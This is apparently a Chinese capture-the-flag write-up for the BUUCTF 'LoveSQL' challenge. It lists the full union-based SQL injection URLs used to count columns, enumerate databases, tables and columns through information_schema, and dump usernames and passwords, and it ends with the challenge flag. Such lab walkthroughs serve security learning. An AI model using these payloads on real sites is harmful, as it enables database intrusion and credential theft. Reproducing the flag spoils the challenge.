BUUCTF-[极客大挑战 2019]LoveSQL 1

万能密码登入

 尝试解密MD5，解密失败尝试其他注入思路

http://c95aaa7f-1256-4f57-b564-0ddf58b3bb67.node3.buuoj.cn/check.php?username=admin' order by 3%23&password=123 有回显

http://c95aaa7f-1256-4f57-b564-0ddf58b3bb67.node3.buuoj.cn/check.php?username=admin' order by 4%23&password=123  报错

说明存在3列

http://c95aaa7f-1256-4f57-b564-0ddf58b3bb67.node3.buuoj.cn/check.php?username=admin' and 1=2 union select 1,2,3%23&password=123  

 按照暴库，爆表，爆列，爆数据的顺序进行

爆库

http://c95aaa7f-1256-4f57-b564-0ddf58b3bb67.node3.buuoj.cn/check.php?username=admin' and 1=2 union select 1,2,group_concat(schema_name) from information_schema.schemata%23&password=123

 爆geek库表

http://c95aaa7f-1256-4f57-b564-0ddf58b3bb67.node3.buuoj.cn/check.php?username=admin' and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='geek'%23&password=123

 爆列

http://c95aaa7f-1256-4f57-b564-0ddf58b3bb67.node3.buuoj.cn/check.php?username=admin' and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'%23&password=123

 爆数据

http://c95aaa7f-1256-4f57-b564-0ddf58b3bb67.node3.buuoj.cn/check.php?username=admin' and 1=2 union select 1,2,group_concat(concat_ws(0x7e,username,password)) from geek.l0ve1ysq1%23&password=123

flag{670a6b35-4087-4d14-ad11-1e8497e534c8}